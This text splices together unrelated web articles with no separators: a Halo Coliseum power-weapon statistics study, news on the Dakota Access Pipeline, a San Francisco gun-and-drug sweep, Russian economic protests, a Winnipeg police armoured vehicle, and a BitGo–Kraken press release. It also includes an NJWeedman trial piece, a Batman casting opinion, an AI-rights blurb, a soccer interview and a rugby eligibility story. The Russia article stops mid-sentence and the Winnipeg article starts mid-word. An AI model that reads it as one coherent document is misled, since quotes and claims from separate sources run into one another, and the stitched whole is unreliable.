First, let’s start with the first, as in “does picking up a power weapon first give us a better chance at winning this game?” To calculate that, all you need to know is which team picked up which power weapon first in each game, and which team won that game. If it seems like the team that picks up the Rocket Launcher first wins the game more often than the team that picks up Sniper first, then we’d say it’s better to get Rockets off spawn.
There are concerns with this approach. For one thing, the average match lasts over 7 minutes. It doesn’t seem likely that the impact of a team picking up a power weapon first at the start of the match would be very big by the end of the match. Too many other things happen during a match for the initial power weapon acquisition to hold much sway. Another issue is that just picking up the power weapon first doesn’t mean you actually had the power weapon first. On Coliseum, getting Rockets off spawn is a precarious task. It’s an exposed area and it always feels like there’s an endless supply of nades raining down on you. Very often, the team that gets to Rockets first dies immediately after picking them up, without having even shot them once. The other team swoops in and picks the Rockets off the first team’s dead bodies. Even though the other team got the Rockets first, it’s the second team that really gains the advantage of initially possessing Rockets.
Now, there are ways to incorporate this point into the analysis. You could define the first possession of Rockets being the possession when a team actually gets to use them before dying. You could put some kind of time requirement on the possession, saying “only if a team holds Rockets for more than X seconds does it count as a possession.” Or you could be lazy and do what we did and argue that dying with Rockets immediately is part of the hazards of rushing for Rockets. In this way, we don’t manipulate the data: if you get Rockets first, congratulations, you first possessed Rockets, no matter what happens immediately afterwards.
Results
Coliseum is a symmetric map. Therefore, we don’t expect to see a difference in how a match plays out based on which team you’re on. Our expectations were incorrect, and Red Team won much more often than Blue Team in the 1337 matches that we analyzed. We believe this is due to the Halo tradition of the higher seeded team choosing the Red Team color, though we cannot be certain. Table 1 shows this data, along with which team picked up which power weapon first. Notice that Red Team, despite winning most of the time, didn’t pick up power weapons first significantly more often than Blue Team.
Stat Red Team Blue Team Total Matches Won 904 (67.61%) 433 (32.39%) 1337 Pick Up Sniper First 606 (45.33%) 731 (54.67%) 1337 Pick Up Rockets First 713 (53.33%) 624 (46.67%) 1337
Table 1: Matches won and first power weapon picked up, based on Team. Parenthesis indicate percentage of total.
Our actual analysis is not dependent on team color, but instead only on their initial power weapon acquisition status. There are four scenarios possible for any team in any match: pick up Sniper first, pick up Rockets first, pick up both first, or pick up neither first. These are mutually exclusive scenarios, so if you pick up Sniper first, that means the other team got Rockets first. If you pick up Sniper and Rocket first, that counts towards the “pick up both first” scenario. Once we assign each team from each match to one of these four scenarios, we look at how often a team in that scenario wins. These are binary variables. Any team in any match can answer “yes” or “no” to each of the four scenarios, and then “yes” or “no” to “did you win the match?” While there are some advanced statistics you can do with binary variables, we’re only going to do a basic analysis using counting. The data is shown in Table 2.
Scenario Won Match Lost Match Total Pick Up Sniper First 330 (48.46%) 351 (51.54%) 681 Pick Up Rockets First 351 (51.54%) 330 (48.46%) 681 Pick Up Both First 299 (45.58%) 357 (54.42%) 656 Pick up Neither First 357 (54.42%) 299 (45.58%) 656
Table 2: Breakdown of the four initial power weapon scenarios and their win rates.
Notice that if you total the Total column from Table 2, you get 2674, which is double 1337. This is because we’re counting each team in each match as a separate data point, effectively doubling the dataset. Also notice the symmetry: if you pick up the Sniper first and win, that must mean that the other team picked up Rockets first and lost. Remember: if you picked up Sniper and Rockets first, that scenario is called “pick up both first.”
What do these results tell us? Well, first, what we expected: there doesn’t seem to be a huge impact on picking up power weapons first and winning. Sure, if you get Rockets first, you win 51.54% of the time, but that’s hardly a significant value. Of the 681 matches where the teams split the initial power weapons, if the team that got sniper first only won 10 more times, we’d have even results. We’ll go ahead and claim: there is no significant difference in win percentage between picking up Sniper or Rockets first.
The second result is more surprising: the team that gets neither power weapon first wins more often than any other team. Since this is such a basic analysis, it’s hard to say why this is the case. It’s still possible that this is an artifact of a small sample set, but there’s almost a +10% difference in win percentage, implying that it’s a real phenomenon. Our leading hypothesis is that, because we’re only counting the first pick up of the weapon off the pad as the initial possession, other factors may be at play. Perhaps successful teams hang back and get superior positioning on the map to neutralize the power weapon impact, or maybe they’re able to win it back without suffering much at the hands of the other team. Whatever the true cause, we say: there may be an advantage to not being the first team to pick up either of the power weapons.
Part 2: Possession Time
We’ve talked about the weaknesses of using the initial power weapon pick up as a metric for predicting success. Let’s now present an alternative metric that may prove more useful: total time of possession of the power weapon. More specifically, the difference from the average time of possession of the power weapon. Let’s formulate the question like this: “if an average team possesses the Sniper Rifle for X seconds a game, how much do you improve your odds of winning by when you possess the Sniper Rifle for Y seconds more than the average?” This question should account for power weapon possession throughout the entire match, instead of the primitive scope of the question posed in Part 1.
So how do we calculate this? The first step is to tally up the possession time for each weapon for each team in each match. Then calculate the basic stats for these measurements, namely mean and standard deviation. From there, you can do whatever you want.
Results
Let’s get to the good stuff. First, we’ll show the overall stats and the basic counting results. Then we’ll show the more advanced results. But before we get any further, let’s make sure that we understand that possession time isn’t a perfect stat. If a player is holding a weapon, regardless of how much ammo is left, the possession timer is on. We haven’t done any corrections for when a player is running around with an empty weapon with no ammo left. We hope that the ratio of active possession time to total possession time is high, but there’s no way to know as of now. With that being said, let’s get started.
Stat Average (Per Team) Standard Deviation (Per Team) Average For Winning Team Average For Losing Team Sniper Possession Time (seconds) 89.71 61.15 109.59 69.83 Rocket Possession Time (seconds) 57.00 35.23 66.57 47.42
Table 3: Summary of power weapon time of possession stats.
Scenario Won Match Lost Match Total Held Sniper More Than Average 780 (65.60%) 409 (34.40%) 1189 (44.47%) Held Sniper Less Than Average 557 (37.51%) 928 (62.49%) 1485 (55.53%) Held Rockets More Than Average 766 (62.43%) 461 (37.57%) 1227 (44.39%) Held Rockets Less Than Average 571 (39.46%) 876 (60.54%) 1447 (52.35%)
Table 4: Breakdown of power weapon possession scenarios and their outcomes. Note that only the first two and last two rows are mutually exclusive. E.g. a team could have more sniper possession than average, but also more rocket possession than average.
From the basic results shown in Tables 3 and 4, we see what we expected to see: holding either power weapon more than average usually resulted in victory. The split between Rockets and Sniper is close as well, so there’s not too much to be gleaned from these results. Graphically, this is shown below in Figure 1. While this shows a slight advantage to the Sniper, the difference may be insignificant. Our claim is nothing we didn’t know already: holding power weapons longer than the average team is good.
Figure 1: Histograms and best-fit Normal curves for power weapon possession time relative to mean.
The previous stats were calculated by looking at time of possession relative to the average time of possession for each weapon. An alternative approach is to look at the time of possession of a team relative to their opponent in a match. This approach is used below.
Stat Average For Winning Team Standard Deviation Sniper Possession Relative To Opponent (seconds) 39.75 80.04 Rocket Possession Time (seconds) 19.15 49.43
Table 5: Summary of power weapon time of possession relative to opponent stats.
Scenario Won Match Lost Match Total Held Sniper More Than Opponent 948 (70.91%) 389 (29.09%) 1337 Held Rockets More Than Opponent 884 (66.12%) 453 (33.88%) 1337
Table 6: Breakdown of power weapon possession relative to opponent scenarios and their outcomes.
Once again, the results, shown in Tables 5 and 6, are what we’d expect. This time around, however, there’s a bigger gap between the Sniper results and the Rockets results. This is the first real indication that controlling the Sniper Rifle for a longer part of the match is more impactful than doing the same for Rockets. Graphically, the results from above can be seen in Figure 2 below. Our claim: while holding power weapons longer than your opponents is good, holding the Sniper for longer may give you even greater odds of winning than holding Rockets for longer.
Figure 2: Histograms and best-fit Normal curves for power weapon possession time relative to opponent.
We initially planned on doing a typical correlation and linear curve fit analysis to the power weapon possession time data. However, due to the difficulties in dealing with binary variables, the data was modified in a way to make it quasi-continuous (see the Addendum for why binary variables are difficult to work with, and why the correlation coefficient alone is not sufficient). The results of both the unmodified and modified analysis are summarized below in Table 7. The main takeaway here is that, regardless of method used, there is a greater linear correlation between holding the Sniper for longer and winning than there is between holding the Rockets for longer and winning.
Point-Biserial Correlation Coefficient Traditional Correlation Coefficient* Holding Sniper Longer Than Average 0.6501 0.9376 Holding Rockets Longer Than Average 0.5436 0.8914
Table 7: Summary of correlation coefficients. *See addendum on the process to calculate the traditional correlation coefficient.
Conclusion
Our analysis came away with two main conclusions for matches on Coliseum: 1. Getting the power weapons first, either Rockets or Sniper, isn’t hugely impactful on the outcome of the game. 2. It seems that holding the Sniper Rifle for longer in a match, whether that be compared to the average amount of time that a team holds Sniper, or, more impactfully, compared to the opposing team, has a greater effect on the outcome of the match than doing the same with Rockets.
Our first conclusion merely states that it’s not necessary to win the opening battle for power weapons to win the match. Most of you already knew this, but it’s good to see the data back that up.
Our second conclusion means that, if you had to game plan to maximize your team’s use of one power weapon over the other, or if you wanted to minimize the impact of the other team’s use of one power weapon over the other, it probably makes sense to focus on the Sniper Rifle.
Thanks for taking the time to read this through. If you have any questions, comments, or concerns, feel free to post them below.
Addendum
If we were dealing with two non-binary variables, we could then use traditional correlation methods to determine the relationship between the two variables. While we have one non-binary variable, which is the time of possession (it can take on any value from 0 to infinity), we still have win/loss, which is a binary variable. To get the correlation between a non-binary variable and a binary variable, we use something called the point-biserial correlation coefficient.
This calculation gives a value that describes how correlated the two variables are to each other. The value goes from -1 to 1, where -1 means a purely negative linear correlation (increasing one decreases the other linearly), 0 means no linear correlation between the two variables, and +1 means a purely positive linear correlation (increasing one increases the other linearly). It is crucial to note that knowing you have a pure linear correlation doesn’t tell you enough about how much changing one variable changes the other variable. You would then need to look at the linear relationship between the two to judge that. Figure A1 shows why the correlation coefficient alone is not sufficient.
Figure A1: Examples of distributions and the corresponding correlation coefficients. The second row shows that knowing the correlation coefficient is not sufficient to determine the extent of the relationship between two variables (source).
It’s difficult to correlate a binary variable with a non-binary variable, and Figure A2 shows why.
Figure A2: On the x-axis you have a non-binary variable, but on the y-axis you have a binary variable. You can see why it can be problematic to try and determine a relationship between the two.
To get around this problem, we went ahead and put the x-axis variable, Sniper differential time of possession vs. the mean, into a number of bins, as you would do to create a histogram. Then, for each bin, we calculated the win percentage within that bin. So if there were 10 matches in the bin from -100 to -95 seconds, and 7 of them were losses, that bin had a win percentage of 30%. This calculated win percentage became the new y-axis, and the bins themselves became the x-axis. This modified dataset is shown below in Figure A3, and was the source of the traditional correlation coefficient used in Table 7.
Figure A3: Plotting the modified possession time relative to the mean vs. the calculated win percentage.
Though Figure A3 shows a linear fit that implies a better relationship between Rockets and winning, the data set used to generate this was modified and the calculation done may not be reliable. This is nevertheless an interesting result, and perhaps we will look into this further in a future post.One of American Indian tribes opposed to a contentious multi-state oil pipeline in North Dakota has formally asked activists to vacate makeshift campsites located near its reservation.
Standing Rock Sioux’s tribal council announced Saturday that it passed a resolution calling for camps holding Dakota Access Pipeline opponents to be dismantled. The resolution did not mention any plans to relocate the 600 activists, most of whom are outsiders.
The tribe has been pushing protesters to vacate the area since U.S. Army Corps of Engineers rejected the $3.8 billion project in December, yet the anti-DAPL activists have refused Standing Rock’s pleas.
“The pipeline fight has moved beyond the camps and our strategy must evolve with the process,” tribe Chairman David Archambault II said in a statement. He was referring to the Army Corps of Engineers’ decision last week to move forward on an environmental impact review.
Standing Rock’s resolution comes after North Dakota Gov. Doug Burgum, a Republican, said Jan. 4 that if the sites are not cleared before March, rainfall and snow melt could “endanger” their lives. Archambault reiterated Burgum’s warning.
“Because we worked together, the federal government will prepare an Environmental Impact Statement,” the tribe said. “Moving forward, our ultimate objective is best served by our elected officials, navigating strategically through the administrative and legal processes.”
Anti-DAPL activists believe the line’s construction would trample on tribal lands and potentially poison waterways, including rivers such as the Missouri River and Lake Oahe.
Many of those still remaining at the camp have conceded that vacating the area may be for the best.
“Our network respects the decision of the Cannon Ball district and the tribal council of the Standing Rock Sioux Tribe,” Tom Goldtooth, the executive director of the Indigenous Environmental Network, told reporters.
The tribe is also worried that recent violent clashes between police and the protesters could delay the reopening of a highway linking a newly built casino on the reservation to Bismark, the state’s capital.
“Our main venture that we have on Standing Rock is the Prairie Knights Casino, and Highway 1806 is the main access road,” said Phyllis Young, who currently serves as a consultant to the tribe on the Dakota Access Pipeline.
The fate of the DAPL, which is expected to deliver nearly 500,000 barrels of Bakken oil per day to Illinois, will fall into the hands of President-elect Donald Trump, who publicly supports the project.
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.The police officers in tactical gear who fanned out across San Francisco across San Francisco and San Mateo County neighborhoods this week were participating in one of the largest Bay Area criminal investigations in years.
Federal agents and local police officers arrested 75 people and charged another 25 with crimes relating to drugs and guns, said Brian Stretch, Northern California’s top federal prosecutor.
"The objective of Operation Cold Day was to get guns and drugs off the streets of our community,” he said, using the code name for the investigation.
Agents with Bureau of Alcohol, Tobacco, Firearms and Explosives worked for more than two years with police in San Francisco and San Mateo to go undercover and infiltrate criminal drug and gun sales networks, Stretch said.
This week, nearly 1,000 agents and police officers raided homes in Sunnydale and SoMa, along with other locations in San Francisco and San Mateo.
Those arrested faced charges relating to gun sales, drug sales, property crime and homicide, prosecutors said.
SFPD swat team on Folsom at Hallam pic.twitter.com/mfzSUd3HF5 — _ (@R27D) August 8, 2017
Investigators focused on the “street-level and mid-level criminals who often [avoid] prosecution,” Stretch said.
The investigation began as a response to an alarming 2015 spike in auto break-ins in San Francisco and a “plague of car theft,” said George Gascon, San Francisco’s district attorney.
In 2015, an average of more than 70 cars a day were burglarized, the San Francisco Chronicle reported in 2016.
Jill Snyder, the head of the ATF office in San Francisco, said she was certain the raids and arrests this week would keep law-abiding residents safe.
"Over 100 criminals will no longer threaten the safety of you and your loved ones," she said.On Monday evening, Russian President Vladimir Putin went on national television to announce that, following a telephone conversation with President Barack Obama, Russia and the US had reached an agreement on a “cessation of hostilities” in Syria, to begin at midnight on February 27. Putin went out of his way to present Russia as a team player, in step with the West on Syria, though the accord allows bombing to continue against the Islamic State (ISIS), the al-Qaeda-backed Nusra Front, and “other terrorist groups”—a loose category that for Russia might include anti-Assad forces that the US and Western allies have been backing. Indeed, the agreement was the latest indication of how far the Russian government has been able to pursue its interests in the conflict—while gaining new diplomatic stature. As Nicholas Burns, former US undersecretary of state for political affairs, told The Washington Post after a similar peace effort in mid-February, “We are being completely outfoxed in Syria by Putin.”
But Putin’s newly-claimed role as a world leader may also be aimed at distracting Russians from more pressing concerns at home. With plunging oil prices and double-digit inflation, the Russian economy is cascading downward, causing some of the largest protests the Kremlin has faced in several years. The price of oil, a mainstay of the Russian economy, fell from $110 per barrel in June 2014 to $27 in January this year. The ruble has lost 60 percent of its value against the dollar since 2013, and real wages of Russians have shrunk by almost 10 percent in the past year. A recent poll by the respected Levada Center in Moscow found that more than half of all Russians—53 percent—think the greatest threat now facing their country is economic impoverishment.
Meanwhile, the Kremlin has been confronted with some of the most devastating revelations of high-level government corruption yet to surface during the Putin era. They have even touched two of Putin’s closest allies, Vladimir Yakunin, the former president of Russian Railways, and Yuri Chaika, Russia’s powerful prosecutor general. This combination of economic turmoil and faltering government credibility could threaten the stability of the Putin regime, especially if ordinary Russians lose enthusiasm for its military ventures abroad.
Faced with a growing budget deficit—$38.6 billion this fiscal year—the Kremlin has been racing to cut costs and raise revenue. But it has met with stiff resistance. Long-distance truckers, an essential part of the Russian economy, began protests against a new road tax in November. In early December they tied up traffic in Moscow, but were pushed back by police and have camped out ever since in improvised shelters outside the city. Now a major, ten-day strike of truckers from forty of the country’s regions is about to begin, and it is sure to cause major chaos. Significantly, the truckers have broadened their protests to include a range of economic issues. As one trucker put it: “For the outside, [Putin] is great for many … he’s sticking his nose into everything — Syria, Turkey — so good, so powerful, but in his own country, he can’t even talk to the people.”
Since the start of the year, such unrest has spread to other constituencies as well. In several cities, pensioners and mortgage holders have been staging economic protests. In Krasnodar and Sochi, hundreds of pensioners came out to protest the government’s decision to revoke their transportation subsidies. In Volgodonsk, several hundred pensioners took part in a recent rally against a new law monetizing their benefits because the cash payments they receive are not sufficient to cover the costs of what they previously got for free. And in Moscow on February 8, riot police confronted over a hundred holders of foreign-currency mortgages, who had blocked a street next to the Russian Central Bank. The protesters, who cannot make their mortgage payments because of the decline in the value of the ruble, are demanding a recalculation of their loans. Similar mortgage holders have been demonstrating outside several banks in Moscow on a daily basis.
What may make these isolated protests more dangerous is that they are occurring just as the issue of government corruption is spilling into the mainstream media. In early February anti-corruption blogger Alexei Navalny reported that Yakunin, |
ly an armoured vehicle of some sort will protect police officers while they are inside it, but at some point the police will have to engage with a person or persons that they are looking to apprehend," he said. "So unless they're prepared to remain inside the vehicle and use the gun ports to conduct an armed battle with someone or several people, I don't see on a regular basis how that will be a great deal of use."
Perrier said some people think this vehicle will be used on patrol and he wants to "stamp out that myth right now."
"That is not what this vehicle does. It is held in special operations. It's about weapons. If weapons are present, this is where that vehicle will come into play. And it's not about lethal options. We have a number of non-lethal options, including taser weapons. This enables us to close distance and opens up other options. This does bring us in line with other services across the country. Most services have this capability and we do not," Perrier said.
And then there's the cost of purchasing the vehicle, Cormier added.
"Everything we do in a time of limited funding and resources — if we do one thing, what are we not doing? That's $350,000 that won't be spent somewhere else," he said.
Winnipeg police bought the armoured vehicle with funds it secured within its own budget and notified the Winnipeg Police Board afterward. From now on there will be more oversight of large purchases, said Scott Gillingham, chair of the police board.
"In future references, they'll come to us, the service will be coming to us, consult with us, for any purchase of a $100,000 or more that will be a capital purchase," said Gillingham.
Armoured vehicles a trend in Canadian policing
Winnipeg is among the last major Canadian cities to purchase such a vehicle for its police service. Vancouver, Montreal, Toronto, Calgary, Saskatoon, Edmonton, London, Sault Ste. Marie, Peel, Durham and Ottawa all have armoured vehicles.
Prices for those vehicles range from $250,000 to $400,000.
The RCMP has 18 armoured vehicles distributed across Canada. Manitoba's Mounties put one into service in 2012. A spokesperson for the RCMP said it has been used several times.
Winnipeg police said a Gurkha tactical vehicle would arrive in spring 2016.PALO ALTO, Calif.--(BUSINESS WIRE)--BitGo is proud to announce its newest partnership with Kraken Bitcoin Exchange. Founded in 2011, Kraken is a leading bitcoin exchange recognized as one of the best and most secure by independent news media. As the leader in digital asset security, BitGo now integrates its multi-sig vault wallet system and robust security management controls with Kraken’s exchange.
Kraken had previously employed a custom off-chain, multi-party signing system with off-site components - providing many of the same security benefits as the BitGo integration. However, when it came time to rebuild the old system, going with BitGo’s ready-made alternative made more sense.
“While we’ve always prioritized security, this partnership allows us to free up valuable resources internally, and provide greater transparency and comfort to our clients. Anyone who needs to have custody of or escrow bitcoin would benefit greatly from BitGo’s highly capable team of industry veterans. I’m looking forward to what we do together next.” Jesse Powell - Co-founder and CEO, Kraken
As Bitcoin transaction volume continues to grow, the need for a deeply intelligent security solution becomes crucial. Transacting over $1B a quarter, BitGo’s Platform/API has certainly proven to be the most tested and most trusted security solution in the industry, especially among the big exchanges. It’s highly scalable (a single user can have hundreds of thousands of addresses) and notorious for its simple, straightforward implementation. BitGo is quickly gaining traction with users who had in the past been intimidated by multi-sig or who, like Kraken, find that it’s a better alternative to in-house solutions.
"We are very happy to add Kraken to the BitGo family of exchange partners. Kraken serves a vital role in the digital asset ecosystem by delivering the deepest liquidity in the BTCEUR market and many alternative cryptocurrencies. We look forward to their continued expansion and the innovation that their depth of experience brings to the table. Our team is passionate about preserving the safety and security of digital assets, and we are thrilled to be working with such esteemed veterans of Bitcoin." Jonathan Silverman - Director of Strategic Initiatives, BitGo.“America’s federally created Cannabis Prohibition mark(ed) its seventy-fifth anniversary (on) August 2, 2012.” In 2010, approximately 900,000 people were charged with various “Marijuana” offenses, one of those arrested, “Robert Edward Forchion aka NJWeedman”, known as a longtime “Cannabis-Soldier” has never wavered in his belief of the “Justice System” and the benefits “cannabis” offers “medicinally”. On April 1, in the state of New Jersey, Mr. Forchion became a “docket number” once again. Believe it or not, at this time, the state had passed the “New Jersey’s Compassionate Marijuana Act of 2010”. In May 2012, Mr. Forchion was “found guilty on the charge of fourth-degree possession of marijuana, but [the jury was] deadlocked in their deliberations on the count of possession with the intent to distribute”. Currently, Mr. Forchion who returned to California for medical treatment is preparing to return for his retrial that starts in October.
Originally, the retrial was to start Sept. 4 but the date was changed to Oct. 10. Mr. Forchion believes the date was changed when he began “sending out Press Releases pointing out “JURY RIGHTS DAY” was Sept 5th.” Also, he discussed “Jury Nullification”. Recently, in the state of New Hampshire, “a defendant was acquitted with this defense.”As a long-time advocate for jury nullification, he was pleased for the victory despite being denied expert witnesses when he had considered the same religious defense argument for his previous trial. According to him, in the state of “New Jersey Constitution” it clearly states in article 1 (6)… “In all prosecutions or indictments…the truth may be given to the jury as evidence….the jury may judge the law as well as the facts.” Skeptically, he states, the court notified him of a “scheduling conflict”regarding the change of his court date.
Several days ago, he made a statement in “Facebook”, that he advised the court he would not return for trial because his “civil rights” were being violated. Although, he will be representing himself, the court has to provide him an attorney to assist in his defense. Mr. Forchion is being denied “due process” by the “Public Defender’s Office who is refusing to obtain witness’s because they don’t like my defense” which violates his “6th amendment” right to obtaining witnesses to testify in his favor. He doesn’t want to return, without his witnesses & case being “trial ready”. “The last time I came to Jersey and was ready for trial, it was postponed from April 10th to May 1st; that delay seriously hurt me financially. Plus, I do not want a delay, my health is at risk.” He is receiving a treatment regimen of an experimental drug, called “Densuab” for cancer at an Oncology center in Santa Monica.
Mr. Forchion considers himself a “protest candidate” in his current race as a Representative, for “Third Congressional District”, New Jersey. “Obviously, I’m protesting the current marijuana laws, by running for office under the Legalize Marijuana Party. It is my hope that others who feel the same as I do would simply vote for me, to help send a message to the Democrats and Republicans alike who wage this ungodly war on peaceful potheads.”
SUGGESTED LINKS:
http://home.njweedman.com/
http://articles.philly.com/2012-05-04/news/31573472_1_marijuana-laws-medical-marijuana-jury-selection
http://articles.philly.com/2012-05-09/news/31627076_1_john-ray-wilson-medical-marijuana-marijuana-plants
http://www.nbcphiladelphia.com/news/politics/NJWeedman-Defending-Himself-on-Drug-Charges-149707705.html
http://www.philadelphiaweekly.com/news-and-opinion/news/DEA-Takes-Down-Ed-Forchion-NJ-Weedman-California-Marijuana-Operation.html
http://www.trentonian.com/article/20120508/NEWS01/120509729/trentonian-tv-njweedman-goes-to-trial
http://www.theweedblog.com/prosecutor-goes-on-witch-hunt-as-njweedman-trial-begins/
http://www.nj.com/news/index.ssf/2012/05/njweedman_is_convicted_of_mari.html
http://www.phillyburbs.com/news/local/burlington_county_times_news/njweedman-retrial-to-be-moved-to-september/article_4627c2a8-9cba-5b3e-85d0-8e0fc0dd1c47.html
Doug Darrell Acquitted Of Marijuana Charges Through Jury Nullification In New Hampshire
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Like this: Like Loading... RelatedTo say fans have been unhappy with the news that Ben Affleck will play Batman in Batman vs. Superman would be an understatement. The reaction is unlike anything I’ve ever seen in the three years I’ve been running Batman News. Hundreds of online petitions have gathered tens of thousands of signatures. The most embarrassing act by far was the submission to the White House’s “We the People” petition system, asking the government to make it illegal for Ben Affleck to portray Batman, or any other superhero, for 200 years. That petition has been removed by the White House for violating their terms of participation. Before I get into why I support Ben Affleck as Batman, I’d like to take a trip down memory lane and look back at a few other controversial Batman casting announcements that ended up becoming fan favorites.
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3. Michael Keaton
Can you imagine if the internet was around in 1988 when Michael Keaton was announced as Batman? Keaton was best known as a comedy actor for his work in Mr. Mom and Beetlejuice. Back then there were hand written petitions, asking Warner Bros. to cast someone else as the Caped Crusader. And while the 5′ 10″, 150lbs actor didn’t look like the Batman from the comics, he was able to disappear into the role once he put on the suit and cowl. Tim Burton’s 1989 Batman was a huge success and many considered Michael Keaton the best Batman for nearly two decades until Christian Bale won over new and old fans alike in the Dark Knight Trilogy.
2. Anne Hathaway
When Anne Hathaway was announced as Catwoman in January 2011, the news was met with mixed reactions. She had never played a role like this before, and many just thought of her as the actress from The Princess Diaries. It was hard to imagine the clumsy, quirky Hathaway as the dark, sexy, cunning Selina Kyle. Many fans walked out of The Dark Knight Rises last summer very impressed by Hathaway’s portrayal, proving that a great actor can become any character that their script calls for.
1. Heath Ledger
How can we forget Heath Ledger? When he was announced as Joker in the summer of 2006, fans freaked out. The reaction was almost as bad as it’s been for Ben Affleck. Ledger had just come off of the very popular movie Brokeback Mountain, and fans left the most hateful, homophobic comments imaginable across comment sections all over the web. Heath Ledger silenced every critic on July 18th, 2008 when The Dark Knight hit theaters. His performance as Joker earned him an Oscar, and it will be remembered for years to come.
The moral of the story? Sometimes the person you least expect to be great, ends up shocking the world. A lot of people have been asking what I think about Ben Affleck as Batman, and I think he’s going to do a great job. I’ve only seen two Ben Affleck movies — both this year — The Town and Argo. Those are his two most recent movies, and he was great in them. The guy can act, which is a plus in my book. What else is important for an actor portraying Batman? The look. Ben Affleck is 6′ 4″, handsome, and in great shape. That makes him even bigger than Henry Cavil’s Superman. A lot of people keep bringing up Affleck’s last superhero role. He starred in Daredevil in 2003, which was 10 years ago. If that’s your only argument, consider this — aren’t you better at your job today than you were 10 years ago? If you’re a senior in high school, don’t you know more today than you did when you were 8 years old? I think it’s unfair to look at Ben Affleck’s performance from 10 years ago and assume that he’s going to mimic it in 2015’s Batman vs. Superman. If you want to criticize his work as an actor, look at his most recent performances in The Town and Argo. He’s come a long way over the years.
With all that said, and everyone having a few days to digest and think over the news, what do you think about Ben Affleck playing Batman? Place your vote in the poll and explain your reasons in the comments below. I look forward to hearing arguments from both sides!
Are you excited to see Ben Affleck as Batman?AI Rights
For the first time, artificial intelligence (AI) may have eclipsed the science that brought it to “life”: we now have AI that can converse in a human-like manner, robots designed to look like us, and deep learning machines built specifically to learn, think, and act the way we do. Experts believe that by 2030, machine intelligence will be on par with humans and that by 2045, the capabilities of AI will actually surpass human intelligence.
Given the rate of advancement the field has seen and the resources being dedicated towards its continued development, robotics researchers believe we’re closer to “thinking” machines than ever before.
“It’s getting to a point where we might be able to say this thing has a sense of itself, and maybe there is a threshold moment where suddenly this consciousness emerges,” mathematician Marcus du Sautoy from the University of Oxford said. “And if we understand these things are having a level of consciousness, we might well have to introduce rights. It’s an exciting time.”
It’s an exciting prospect, but also a controversial one. Once we hit that point where AIs can think, speak and act like a person, the question of whether they deserve to have the same rights will become imminent.Christen Press is 27 years old and she’s been playing soccer for a good many of those years. Her skills on the field have taken her from playing in high school, to playing forward for Stanford, to now playing for the U.S. Women’s National Team (she won the World Cup last year!) as well as a club team in Stockholm. She’s an Olympic hopeful too, and we’re crossing our fingers to see Christen take the field this summer in Brazil.
In addition to soccer, Christen is an avid yogi, a blogger, and host of a digital sports series for FOX, plus she has a seriously inspiring Twitter presence. She’s also committed to giving women’s sports the coverage and airtime they deserve. With that in mind, we picked Christen’s brain for her thoughts on what it’s really like to be a pro female athlete.
Work is seriously fun: “I often catch myself thinking, I have the best job in the world. I do what I love and my work is my passion.”
And training doesn’t feel like work: “I prefer to start my day with my training as it gives me so much energy. People sometimes think you’d be tired from working out, but I feel exhilarated post workout.”
There’s still a long way to go when it comes to compensation: “I am one of a very small group of women [in sports] that does not need a second job to support myself. There are only a few teams around the world, club or national teams, that pay these wages. I am grateful for this, but feel an obligation to keep fighting for more for all our female soccer players.”
And men’s sports get so much more airtime because... society: “I think a lot of it comes from outdated, sexist gender roles in society. For decades, men have had an advantage in sports: More practice, more access, more money, more external motivation, and for that they are ahead. Sports is rich with history and it takes time to build the relationship between teams and fans that create reverence.”
A photo posted by Christen Press (@christenpress) on Dec 13, 2015 at 2:32pm PST
The team is always fighting to get women in the spotlight: “I feel a sense of responsibility to grow the game so that the day I leave it’s better than when I came. We do that both by dedicating ourselves to our craft and creating the best product possible; and also by talking about feminism in sports. Some of the important issues are the worldwide stigma against women in sports and the lack of resources and respect given to the female game.” And women should be playing on grass (not turf), because duh: “For me, this isn’t a debate. It’s simply about treating female competition with respect and that includes the best resources.”
A photo posted by Christen Press (@christenpress) on Jun 7, 2015 at 8:27am PDT
She could never have imagined such an awesome career: “I didn’t dream of professional soccer growing up, as that wasn’t an option for women. I’m proud that today, young girls can look at our league and have something to play for in that way.”
And winning isn’t even the most important part of the game: “What I enjoy most is the daily struggle to be my best self and help my team be our best collective. The reward isn’t winning, but growing.”
So go out and seize the day. Every single day: “Enjoy the journey! You are exactly where you are supposed to be. Embrace it and fight for where you want to be tomorrow.”
A photo posted by Christen Press (@christenpress) on Dec 14, 2015 at 8:20am PST
(Images via EAG Sports Management)Players eligible for second-tier nations such as Tonga and Samoa are being unfairly punished if they pursue an opportunity with an Australian or New Zealand Test or Origin squad, says Tonga coach Kristian Woolf.
It is virtually impossible for a player to reach Test level with a nation such as Tonga without also becoming eligible for a top-tier nation along the way, according to Woolf, who added every one of the 18 players in his squad for Saturday night's World Cup qualifier against Cook Islands is eligible for Australia or New Zealand.
For example, two young players who turned out for Tonga in their last-start loss to Samoa in May – Sio Siua Taukeiaho and Tuimoala Lolohea – are unavailable for Tonga this weekend after being called up to the Kiwi squad to tour England.
In both players' cases their strong form was arguably enough on its own for the call-up, though a raft of injuries to top line Kiwis certainly helped.
However if either or both players are overlooked by the Kiwis after this tour they will be left cooling their heels in the international wilderness for two years because they will be unable to return to Tongan colours for 24 months after appearing for New Zealand.
This is not only unfair on the players, it could discourage other dual eligible players chasing their dreams and it is bad for the international game overall, according to Woolf, who called on the Rugby League International Federation to revisit eligibility rules, especially when it comes to second-tier nations.
"[Taukeiaho and Lolohea] both got the opportunity to go overseas over to England with the New Zealand team, which is a great opportunity for them and their football career and the real disappointment with that is it means they're ineligible for Tonga for the next two years as the rules sit," Woolf told NRL.com.
"I really hope that's something that's looked into and there's a little bit more flexibility around it. I don't think they should be punished so to speak for taking that opportunity with New Zealand by not being able to come back and play for us if that's their avenue over the next couple of years.
"Some flexibility in those rules would certainly help in terms of helping your tier two nations becoming more competitive with your first-tier nations."
Although there is a wealth of talent in the island nations, for those players to develop to NRL level they have to move to Australia or New Zealand for coaching and development with an NRL squad. By the time they progress through the school system to first grade they have lived in their adopted country long enough to be eligible for that country.
"Every single player on our team is dual eligible. You can't be from Tonga and play in the NRL unless you live in New Zealand or Australia and you've only got to live there a couple of years to be dual eligible so every player in our squad is eligible for a couple of nations," Woolf said.
"We're obviously at risk at some stage of a lot of those players getting a call into a New Zealand side or an Australian representative side and it's certainly something I'd hope the international rugby league looks at making the rules a little bit more flexible for players to go back and forth between tier one and tier two nations."
Woolf added a number of New Zealand private schools were spotting talent from places like Tonga and Samoa which again was good for development of the players but a risk for the development of those Test sides.
